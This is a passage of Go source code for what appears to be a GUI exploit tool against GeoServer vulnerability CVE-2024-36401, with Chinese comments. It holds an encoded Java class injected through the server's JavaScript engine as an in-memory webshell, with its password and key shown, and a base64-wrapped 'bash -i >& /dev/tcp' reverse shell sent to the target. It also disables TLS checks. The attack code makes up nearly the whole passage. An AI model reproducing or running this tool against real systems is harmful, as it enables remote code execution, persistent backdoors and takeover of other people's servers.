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";
165 | var bt;
166 | try {
167 | bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
168 | } catch (e) {
169 | bt = java.util.Base64.getDecoder().decode(str);
170 | }
171 | var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
172 | theUnsafe.setAccessible(true);
173 | unsafe = theUnsafe.get(null);
174 | unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
175 | ')
176 | `)
177 |
178 | // 创建HTTP POST请求
179 | req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(payload)))
180 | if err != nil {
181 | return "", "", err
182 | }
183 |
184 | // 设置HTTP头
185 | req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36")
186 | req.Header.Set("Content-Type", "application/xml")
187 | req.Header.Set("Accept", "*/*")
188 | req.Header.Set("Connection", "close")
189 |
190 | //跳过tls证书验证
191 | tr := &http.Transport{
192 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
193 | }
194 |
195 | // 如果设置了代理,则使用代理
196 | if proxyURL != nil {
197 | tr.Proxy = http.ProxyURL(proxyURL)
198 | }
199 |
200 | // 发送请求
201 | client := &http.Client{Transport: tr,
202 | Timeout: 10 * time.Second}
203 | resp, err := client.Do(req)
204 | if err != nil {
205 | return "", "", err
206 | }
207 | defer resp.Body.Close()
208 |
209 | // 读取响应
210 | body, err := ioutil.ReadAll(resp.Body)
211 | status_code := resp.Status
212 | if err != nil {
213 | return "", "", err
214 | }
215 |
216 | return string(body), status_code, nil
217 |
218 | }
219 |
220 | func reverseshell(targetURL, ip string, port string) (string, string, error) {
221 | address := []byte(fmt.Sprintf(`bash -i >& /dev/tcp/%s/%s 0>&1`, ip, port))
222 | encoded := base64.StdEncoding.EncodeToString(address)
223 | command := fmt.Sprintf(`bash -c {echo,%s}|{base64,-d}|{bash,-i}`, encoded)
224 | payload := fmt.Sprintf(`
229 |
230 | `, command)
231 | // 创建HTTP POST请求
232 | req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(payload)))
233 | if err != nil {
234 | return "", "", err
235 | }
236 |
237 | // 设置HTTP头
238 | req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36")
239 | req.Header.Set("Content-Type", "application/xml")
240 | req.Header.Set("Accept", "*/*")
241 | req.Header.Set("Connection", "close")
242 |
243 | //跳过tls证书验证
244 |
245 | if err != nil {
246 | log.Fatal(err)
247 | }
248 | tr := &http.Transport{
249 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
250 | }
251 | // 如果设置了代理,则使用代理
252 | if proxyURL != nil {
253 | tr.Proxy = http.ProxyURL(proxyURL)
254 | }
255 | // 发送请求
256 | client := &http.Client{Transport: tr,
257 | Timeout: 4 * time.Second}
258 | resp, err := client.Do(req)
259 | if err != nil {
260 | return "", "", err
261 | }
262 | defer resp.Body.Close()
263 |
264 | // 读取响应
265 | body, err := ioutil.ReadAll(resp.Body)
266 | status_code := resp.Status
267 | if err != nil {
268 | return "", "", err
269 | }
270 |
271 | return string(body), status_code, nil
272 |
273 | }
274 | func main() {
275 | // 初始化Fyne应用
276 | myApp := app.NewWithID("GUI-EXP")
277 | myWindow := myApp.NewWindow("CVE-2024-36401 Exploit Tool")
278 |
279 | // 创建输入框
280 | urlEntry := widget.NewEntry()
281 | urlEntry.SetPlaceHolder("输入GeoServer漏洞URL,例如:http://victim-ip:port/geoserver/wfs")
282 |
283 | domainEntry := widget.NewEntry()
284 | domainEntry.SetPlaceHolder("输入要执行的命令")
285 |
286 | ipEntry := widget.NewEntry()
287 | ipEntry.SetPlaceHolder("输入反弹shell的ip")
288 |
289 | portEntry := widget.NewEntry()
290 | portEntry.SetPlaceHolder("输入反弹的端口")
291 |
292 | // 显示代理 URL 的标签,初始为“无代理”
293 | proxyLabel = widget.NewLabel("当前代理: 无")
294 |
295 | resultLabel := widget.NewLabel("")
296 |
297 | // 创建按钮
298 | exploitButton := widget.NewButton("执行漏洞验证", func() {
299 | targetURL := formatTargetURL(urlEntry.Text)
300 | command := domainEntry.Text
301 | if targetURL == "" || command == "" {
302 | resultLabel.SetText("请确保所有字段都已填写")
303 | return
304 | }
305 |
306 | // 执行漏洞利用函数
307 | result, status_code, err := exploit(targetURL, command)
308 | if err != nil {
309 | resultLabel.SetText(fmt.Sprintf("执行失败: %s", err))
310 | } else {
311 | resultLabel.SetText(fmt.Sprintf("漏洞验证结果:\n%s\n%s", status_code, result))
312 | }
313 | })
314 |
315 | //内存马按钮
316 | exploitButton1 := widget.NewButton("小于JDK15通过js引擎注入内存马", func() {
317 | targetURL := formatTargetURL(urlEntry.Text)
318 | if targetURL == "" {
319 | resultLabel.SetText("请确保所有字段都已填写")
320 | return
321 | }
322 | go func() {
323 | result, status_code, err := inject(targetURL)
324 | if err != nil {
325 | resultLabel.SetText(fmt.Sprintf("执行失败: %s", err))
326 | } else {
327 | resultLabel.SetText(fmt.Sprintf("漏洞验证结果:\n%s\n%s", status_code, result, "加密器: JAVA_AES_BASE64\n密码: pass\n密钥: key\n请求路径: /*\n请求头: Referer: Nplojptkx\n脚本类型: JSP"))
328 | }
329 |
330 | }()
331 | })
332 |
333 | exploitButton2 := widget.NewButton("反弹shell", func() {
334 | targetURL := formatTargetURL(urlEntry.Text)
335 | ip := ipEntry.Text
336 | port := portEntry.Text
337 | if targetURL == "" {
338 | resultLabel.SetText("请确保所有字段都已填写")
339 | return
340 | }
341 | go func() {
342 | result, status_code, err := reverseshell(targetURL, ip, port)
343 | if err != nil {
344 | resultLabel.SetText(fmt.Sprintf("执行失败: %s", err))
345 | } else {
346 | resultLabel.SetText(fmt.Sprintf("漏洞验证结果:\n%s\n%s", status_code, result))
347 | }
348 |
349 | }()
350 | })
351 |
352 | //将两个输入框放到水平容器里
353 | //hBox := container.NewHBox(ipEntry, portEntry, exploitButton2)
354 | hBox := container.NewVBox(ipEntry, portEntry, exploitButton2)
355 | ipEntry.Resize(fyne.NewSize(100, ipEntry.MinSize().Width))
356 | portEntry.Resize(fyne.NewSize(100, portEntry.MinSize().Width))
357 |
358 | // 添加代理按钮
359 | proxyButton := widget.NewButton("设置代理", func() {
360 | proxySettingsWindow()
361 | })
362 |
363 | // 布局
364 | content := container.NewVBox(
365 | widget.NewLabel("CVE-2024-36401 漏洞验证工具"),
366 | proxyButton,
367 | urlEntry,
368 | domainEntry,
369 | exploitButton,
370 | exploitButton1,
371 | hBox,
372 | proxyLabel,
373 | resultLabel,
374 | )
375 |
376 | // 设置窗口内容并显示
377 | myWindow.SetContent(content)
378 | myWindow.Resize(fyne.NewSize(600, 300))
379 | myWindow.ShowAndRun()
380 | }
381 |
--------------------------------------------------------------------------------